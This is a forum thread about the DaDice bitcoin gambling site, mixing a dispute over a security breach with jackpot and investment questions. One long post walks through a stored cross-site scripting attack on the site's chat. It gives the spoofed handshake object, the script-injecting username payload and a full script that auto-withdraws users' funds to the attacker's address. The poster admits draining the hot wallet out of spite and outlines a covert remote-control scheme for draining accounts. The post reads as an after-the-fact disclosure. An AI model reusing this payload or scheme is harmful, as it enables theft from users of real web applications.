DaDice.com - Next Gen Social Gambling Dice Experience | Progressive Jackpot

[SebastianJu]

Marco, it looks like the conversation shows that you handle it the same way like dadice. Your escrow address is founded as far as the current payouts are valued. It would be enough to pay all users.

Though it would be a risk on your campaign if you really would be the escrow too.

Let me know if i misunderstood.

[SebastianJu]

The un-official report of how this attack was able to happen

Sorry, dadice_dev didn't explain how it happened. So I thought I would add an explanation so the public can make up for themselves if it was or wasn't serious. My oppinion is this is serious. But what do I know? This will be my last post on dadice.

After the first attack. Explained here:
https://bitcointalk.org/index.php?topic=973765.msg11351048#msg11351048

A fix was sorted to prevent users being impersonated. However, the injection method stayed the same. In fact back then it was possible to do the same thing. However, the test here was to see if DaDice would lie about the severity and I didn't want to impact them too much. Think of it as a free bug report.

So back to what enabled all this drama.

The object:

Code:

var socket_handshake_gameplay_token

is the offending player. It tells the chat server who you are.

Code:

var socket_handshake_gameplay_token = {
    "token": "1|11111111111111111111|1.1.1.1",
    "user": {
        "id": "1",
        "username": "One",
        "name": "",
        "cm": "false"
    },
    "shared_secret": null
};

It is sent to the chat server to update the chat server.

Code:

socket.emit("online", socket_handshake_gameplay_token);

Thats fine, so how can we use this to update all clients with some JS code?

That required a lot of trial and error. Finding ways to do things is not always as simple as reading the code. One must first understand how these will render on the client browser. There was lots of time to be caught in the act. Maybe DaDice wanted to watch or just legitimately didn't think it was all that serious.

The userlist on the chat window is now where we need to look. The chat box does not allow scripts to run, but the userlist still updated with the new name change. Like this:

Code:

var socket_handshake_gameplay_token = {
    "token": "1|11111111111111111111|1.1.1.1",
    "user": {
        "id": "1",
        "username": "Two", //change name and user list updates
        "name": "",
        "cm": "false"
    },
    "shared_secret": null
}

So now what.. We can make the server send our new username to all clients and all new clients.

Lets try running some JS. and keep the original HTML so it doesn't cause errors.

Code:

var socket_handshake_gameplay_token = {
    "token": "1|11111111111111111111|1.1.1.1",
    "user": {
        "id": "1",
        "username": 'One"  class="" href="javascript:;"><script>//put script here</script>',
        "name": "",
        "cm": "false"
    },
    "shared_secret": null
}

Now we can run any script we want. We could have called our own server and sent cookies and session data, or maybe implement subtle things like redirect the deposit code to our btc address. Since no one deposits on DaDice, that would be a tremendous waste of time.

A script to auto withdraw the dust was more fun.. But the hot wallet rarely has more than 0.1btc in it. This was not to take coin, but to show the dev he is arrogant. Had he not dismissed my first post I probably would have just reported it (I'm not interested in bug bounty money, I already have more than enough money). But he was a prick and I felt it would be better to just do another attack using JS. Maybe they can learn to be nice in the future. I was not paid nor did I do it to benefit any other dice site. This was done purely out of my personal spite to the people running DaDice because they were assholes to me.

My code here is pretty messy, setting up some events would have been better, but I was pretty lazy and the wallet only had 0.008btc left in it.

Code:

function clickButton(buttonName){$(".btn").each(function(i, obj) {
  if ($(this).text()==buttonName){$(this).click();
$("#withdraw_payee").val("1Nu7zXeUEV1aBzVQCtY4unDiFJFxdRSN9b");
$("#withdraw_amount").val("0.001");}});
};

setInterval(function(){alert("DaDice has been Hacked.. bullshit message");clickButton("Withdraw");},5000);

Then entire JS injection that was pasted into the console was this. This is not exactly as it was, because I was coding in the console and didn't save it. But you get the idea.

Code:

var socket_handshake_gameplay_token = {
    "token": "1|11111111111111111111|1.1.1.1",
    "user": {
        "id": "1",
        "username": 'One"  class="" href="javascript:;"><script>function clickButton(buttonName){$(".btn").each(function(i, obj) {if ($(this).text()==buttonName){$("#withdraw_payee").val("1Nu7zXeUEV1aBzVQCtY4unDiFJFxdRSN9b");$("#withdraw_amount").val(+($("h2").text()-0.0001));$(this).click();}});};setInterval(if (+$("h2").text()>0.0011){function(){$("#account_withdraw").click();setTimeout(function(){clickButton("Withdraw");},5000);},10000);}</script>',
        "name": "",
        "cm": "false"
    },
    "shared_secret": null
};
socket.emit("online", socket_handshake_gameplay_token);
socket.emit("online_list_request", socket_handshake_gameplay_token);

I will also be sending back the 0.008btc drained from the hot wallet to an account on DaDice, and I will even send a few extra dust particles as interest for the loan.  This will also end the DaDice attacks. Someone else will probably find something new. Who knows. So be careful because DaDice have a history of taking a long time to fix known issues. If I wasn't so open, this would still be going on.

The point is, DaDice knew about this for weeks and nothing was done about it. They lied about the severity, or didn't realize the severity. If I ran a dice site, and had the same issue, I probably would try step around the severity too, can't blame them on that front. It was a simple chat attack. But this "simple" attack was a serious breach as we were able to run as much code as we wanted to. Anything could have been done on the client machines.
It also would have been prevented if they just allowed a skype call that I requested and was ignored.

I wished the Dev would have posted something more concrete like this. but instead he just tried to reduce it to a simple chat attack that did not impact their security. Yes it was indeed simple, but it was a major security breach.

Enjoy the day.

This is an interesting explaination. Im not a pro but could you have run ANY code? Or are there restrictions? What did you actually withdraw if not the hot wallet?

If you would have been able to empty the hot wallet then this would be a serious problem. Though to be fair, things like that happened to many exchanges and websites too. The only difference is then if you have a real cold wallet or built something stupid like automatically recharging hot wallets or so.

[Da_Dice_Staff]

Hmmmmm jackpot is at 1.02467985 already so looking good for whoever wins it

[panjul07]

Is it down? any news..
While I was playing with autobet, it stopped suddenly and when I refreshed, I got 525 error.
Any other getting the same error?

Edit : its up when I use the live version.

[bodgybrothers]

This is an interesting explaination. Im not a pro but could you have run ANY code? Or are there restrictions? What did you actually withdraw if not the hot wallet?

If you would have been able to empty the hot wallet then this would be a serious problem. Though to be fair, things like that happened to many exchanges and websites too. The only difference is then if you have a real cold wallet or built something stupid like automatically recharging hot wallets or so.

I know I said that last post was my last, but I need to respond to the question.

Any code could be run. If done in secret you could withdraw from user accounts each day. Many things can be done when you can execute any code on a users machine. If I was really serious about taking money slowly I would have setup a communication between my computer and the client browser. The client malware would send me details of the clients account and how much is available. My communication server would then tell the malware what to do. How to render the page and whether to withdraw. I'd have complete control over that users interface to DaDice. I could place bets on behalf of the user making for a big PR issue with DaDice, withdraw by sending a click command on withdraw button. There is so many possibilities because you can do anything the user can do. The issue with DaDice is, no user has any money and the hot wallet is so small. So it's a waste of time to setup an elaborate draining system. There simply is no money there. When I did this the hot wallet had only 0.008BTC, which is all I got. But the purpose was to prove the dev a liar. The hack was genuinely significant; I could run JS on clients machines from day one and gave them time to rectify before the next attack. It matters not that the chat server is separate to the game server if both are connected via a client browser. His arrogant post shown below is why I didn't report it direct. This line

The variable that "buffoon" played with was on client-end (i.e. his browser end).

is not correct. If it was only my browser, then how did all other browsers and new logged in users see my changes?
And then this

Yes, this issue has been fixed although it remained 2nd in our priorty, the first priority was as other users have discussed before latency issue which was causing whole Da Dice to slow down.

A serious open door is 2nd priority over excessive browser document updates?

And then this lie:

suppose we still had NOT fixed this issue even then all that these buffoons and crookeds could do was to broadcast chat messages as other users, nothing else! period!

And then the image of the boy who got into facebook because they didn't log out = hacker. That was insulting because that's not what happened here. It also shows a lot of arrogance, which is scary when dealing with money. You must always be thinking someone is doing something you never intended when you have sites that handle money.

Naturally, after seeing that response, I waited for the water to calm and hit it with a wallet drain attack to prove that if they didn't fix it something else would have happened. Sometimes people need to be careful how they approach egos. Mine doesn't take nicely to accusations of being an idiot.


Note: all the answers below turned out to be lies.

Q. So Dadice was Hacked yesterday?
A. No it was't. but we can be onboard on a point that there was a peculiar and "witty" type of incident.

Q. How come someone was able to change the name in chat/post as other users? doesn't that mean entire site was compromised?
A. Please allow me to explain how Da Dice system currently works. The main system where users passwords, bitcoins, profiles, stats are stored is completely secure and runs parallel with other Da Dice systems (i.e. Chat, social features) which means that both run 100% apart from each other. Which is infact better and more secure!

There is a separate database that acts as a bridge between these 2 systems, so when a user is authenticated on main dadice system, a special token is generated for him/her to be able to use social features of the site. After this, when a user utilises one of these social features i.e. Sockets for chat, rightthere our NodeJS/Socket.io crosschecks the token.

it was a direct change to server side variables that store usernames.

This is a false statement. The variable that "buffoon" played with was on client-end (i.e. his browser end).

Q. Da Fix?
Yes, this issue has been fixed although it remained 2nd in our priorty, the first priority was as other users have discussed before latency issue which was causing whole Da Dice to slow down.

However it is not enough to just apply a single patch and consider it fixed. We believe the issue must be throughly investigated, root causes and the exploiters identified. We were able to identify our "buffoons" as @mnbnm, @bluewaffle and @haxer. Their IP address were also blacklisted (I know i know there is no shortage of IPs, vpns or even Da Dice accounts but its the standard protocol to be followed and therefore we suspended their accounts).

We will also be monitoring any further exploiters who attempt to do this time, a quick reenactment:


(I was online last night with our buffoon who desperately kept trying after the fix was implement.)

Why is this significant. The moderators will tell you it was just a hack to the chat system and was not in anyway an issue to the security of the site. To me it is more than that. It is the site's controls over web sessions that are now in question. Why is it possible to change any details of a web session on the server?  The server and only the server should be monitoring this and ensuring the username used to log in and the session cannot be changed. In this case, it demonstrates that this site could have some more serious vulnerabilities.

There is no doubt that these issues must be addressed seriously and it was. As I have explained before that the two systems run parallel to each other, so just for the sake of security, even the session variables are not shared while both of the systems are fully secure in server end.

The issue was simple:
- Mr. buffoon edits the variable in his browser which carries his username.
- On server side, nodejs authenticated him "as a user of Da Dice" with his token by cross checking it with his user ID.
- Trusting that a user has been authenticated on both places, Mr. buffoon's messages were then relayed to further users.

So just to clearify in between all this, "sessions" were NOWHERE involved and server was NOWHERE compromised.

Change the username in the variable above and then log back in:
You now have someone else's username. No server side checks or anything!

...
The site made it easy with the client telling the server who it was, and the server didn't have any checks of who it actually was.

As explained before, the token was cross checked with ID of user which is carried alongside the token but not the username. And this was the behaviour which has been corrected. So to summarise it: There was NO serious threat, however additional query to cross check "usernames" along side "user ID" has been added for our "Crooked" fellows.

Having said that, suppose we still had NOT fixed this issue even then all that these buffoons and crookeds could do was to broadcast chat messages as other users, nothing else! period!

No longer does the statement "It's just a simple chat hack" make a difference. They have yet to fix it! If it was so simple, why did it take so long!
DenseCrab also complained he lost access to his account and logged in as CenseDrab due to this access issue. And he was also the first to be targeted in chat.

Naturally the poor chap initially thought his account was compromised and in hurry he changed the password which later he couldn't produce himself, he contacted the support and his issue was resolved.

The statement remains same "It's just a simple chat hack", infact "It was just a simple chat hack" and #2 in our priority list that day. The major issue was the speed and latency which our users were experiencing due to CloudFlare and we were working with them to optimise networking.


Ending Note:

Obviously the agenda is to spread panic and slander Da Dice. If you realise you should "steer clear" of this one, you're welcome to do so and same from our official threads and etc... Main thing is that when we told our user in chat that there is nothing to worry about, our loyal users understood the fact that there was indeed nothing serious to be concerned about although whole new level of trolling was unleashed in our chat box. Infact no one has given a real thought to post here at Bitcointalk as well... Da Dice is aiming for #1 position and I personally believe that arena is big enough for all fishes to swim so there is no real need to get super competitive and the fact must be accepted with open heart.

Is dadice hack proof? fool proof?
No! but any other site is not either. We have seen the current #1 dice site facing challenges it self from time to time, every day technology is evolving and new and new means of manipulations are being developed. We have had our fair share of serious threats right upon our start and we are constantly working on these challenges... but then there are these kind of people too:

BTW Dev guy. The agenda was to prove you wrong. So stop saying its all the other dice sites paying for this to happen or there is some great dicing collusion conspiracy. It's only between you and I.

[Vezalke]

About investing...did you take 10% of principal + profit when divesting. Or 10% from profit?

[waterpile]

About investing...did you take 10% of principal + profit when divesting. Or 10% from profit?

I think its pretty much its 10% from profit if its principal + profit, no one would be interested in investing.

[Joca97]

How does the jackpot actully work ? do we have to hit a specific number or bet and ordinery amount of btc?
and also how does it charge?

[Da_Dice_Staff]

How does the jackpot actully work ? do we have to hit a specific number or bet and ordinery amount of btc?
and also how does it charge?

Hey mate. There's a full FAQ for it on the bottom of the page but in a nutshell the numebrs to hit are 99.99 or 0 (they cycle each time it's won) Bet id and UnixTimestamp must be prime numbers (Prime checker on http://stats.dadice.com/) And you can bet any amount but prizes are variable per amount bet. There's a full table in the FAQ for that though

[Joca97]

How does the jackpot actully work ? do we have to hit a specific number or bet and ordinery amount of btc?
and also how does it charge?

Hey mate. There's a full FAQ for it on the bottom of the page but in a nutshell the numebrs to hit are 99.99 or 0 (they cycle each time it's won) Bet id and UnixTimestamp must be prime numbers (Prime checker on http://stats.dadice.com/) And you can bet any amount but prizes are variable per amount bet. There's a full table in the FAQ for that though

Okey i just read it and i see we just need to hit 99.99 or 0 so the odds are 10000x to hit the jackpot
that will be pretty easy i think

[Da_Dice_Staff]

How does the jackpot actully work ? do we have to hit a specific number or bet and ordinery amount of btc?
and also how does it charge?

Hey mate. There's a full FAQ for it on the bottom of the page but in a nutshell the numebrs to hit are 99.99 or 0 (they cycle each time it's won) Bet id and UnixTimestamp must be prime numbers (Prime checker on http://stats.dadice.com/) And you can bet any amount but prizes are variable per amount bet. There's a full table in the FAQ for that though

Okey i just read it and i see we just need to hit 99.99 or 0 so the odds are 10000x to hit the jackpot
that will be pretty easy i think

Heh heh good luck mate!

[dadice]

How does the jackpot actully work ? do we have to hit a specific number or bet and ordinery amount of btc?
and also how does it charge?

Hey mate. There's a full FAQ for it on the bottom of the page but in a nutshell the numebrs to hit are 99.99 or 0 (they cycle each time it's won) Bet id and UnixTimestamp must be prime numbers (Prime checker on http://stats.dadice.com/) And you can bet any amount but prizes are variable per amount bet. There's a full table in the FAQ for that though

Okey i just read it and i see we just need to hit 99.99 or 0 so the odds are 10000x to hit the jackpot
that will be pretty easy i think

It is not that easy, please re-read the other requirements.

[dadice]

About investing...did you take 10% of principal + profit when divesting. Or 10% from profit?

It is 10% of the accumulated profit.

[Joca97]

How does the jackpot actully work ? do we have to hit a specific number or bet and ordinery amount of btc?
and also how does it charge?

Hey mate. There's a full FAQ for it on the bottom of the page but in a nutshell the numebrs to hit are 99.99 or 0 (they cycle each time it's won) Bet id and UnixTimestamp must be prime numbers (Prime checker on http://stats.dadice.com/) And you can bet any amount but prizes are variable per amount bet. There's a full table in the FAQ for that though

Okey i just read it and i see we just need to hit 99.99 or 0 so the odds are 10000x to hit the jackpot
that will be pretty easy i think

It is not that easy, please re-read the other requirements.

There arent much other requirements,only others are that we need to deposit so we can win the jackpot
with faucet we cant get a cent even

[Da_Dice_Staff]

How does the jackpot actully work ? do we have to hit a specific number or bet and ordinery amount of btc?
and also how does it charge?

Hey mate. There's a full FAQ for it on the bottom of the page but in a nutshell the numebrs to hit are 99.99 or 0 (they cycle each time it's won) Bet id and UnixTimestamp must be prime numbers (Prime checker on http://stats.dadice.com/) And you can bet any amount but prizes are variable per amount bet. There's a full table in the FAQ for that though

Okey i just read it and i see we just need to hit 99.99 or 0 so the odds are 10000x to hit the jackpot
that will be pretty easy i think

It is not that easy, please re-read the other requirements.

There arent much other requirements,only others are that we need to deposit so we can win the jackpot
with faucet we cant get a cent even

Yup that's right mate

[SebastianJu]

So far i read you you doesnt sound like a competitor. Though thats only my feeling of how you write.

I agree its a really serious problem then. Im not sure what to make out of this since there is clearly money that pays the campaign. Im not sure how much money gamblers deposit and what investors invested. What i wonder is why no one is concerned. Maybe there is really never much money in the hot wallet.

I think its a fair move that your posts arent deleted. Some OPs delete critical posts fast. Such things need to be discussed i think.

[dadice]

So far i read you you doesnt sound like a competitor. Though thats only my feeling of how you write.

I agree its a really serious problem then. Im not sure what to make out of this since there is clearly money that pays the campaign. Im not sure how much money gamblers deposit and what investors invested. What i wonder is why no one is concerned. Maybe there is really never much money in the hot wallet.

I think its a fair move that your posts arent deleted. Some OPs delete critical posts fast. Such things need to be discussed i think.

Yes I agree with you Sebastian, such things need to be discussed and we are willing to do so. However, this is not a self moderated thread, so I as the OP can't delete any posts. Only moderators or bodgybrothers himself can delete his posts.

Regarding the serious problem, yes it was serious, but it has been taken care of, in other words there is no serious problem anymore. At least none we are aware of. Prove us otherwise please and you will get awarded by our bug hunting program...

[Da_Dice_Staff]

So far i read you you doesnt sound like a competitor. Though thats only my feeling of how you write.

I agree its a really serious problem then. Im not sure what to make out of this since there is clearly money that pays the campaign. Im not sure how much money gamblers deposit and what investors invested. What i wonder is why no one is concerned. Maybe there is really never much money in the hot wallet.

I think its a fair move that your posts arent deleted. Some OPs delete critical posts fast. Such things need to be discussed i think.

Yes I agree with you Sebastian, such things need to be discussed and we are willing to do so. However, this is not a self moderated thread, so I as the OP can't delete any posts. Only moderators or bodgybrothers himself can delete his posts.

Regarding the serious problem, yes it was serious, but it has been taken care of, in other words there is no serious problem anymore. Prove me otherwise...

We strive to work on anything brought to our attention in a positive and civilised light to be honest. And that in itself marks us as a good bet if you take my meaning. As dadice said above though if fixed then there is no serious problem anymore

[Joca97]

I hitted the 99.99 number and didnt hit the jackpot !! why ?!!
i deposited btc and played and didnt receive please tell me why ?!

[Da_Dice_Staff]

I hitted the 99.99 number and didnt hit the jackpot !! why ?!!
i deposited btc and played and didnt receive please tell me why ?!

Hey mate. If you have a look in the FAQ you'll see that the bet ID and Unix Timestamp must also both be prime numbers. Our stats site has a prime checker in the jackpot section mate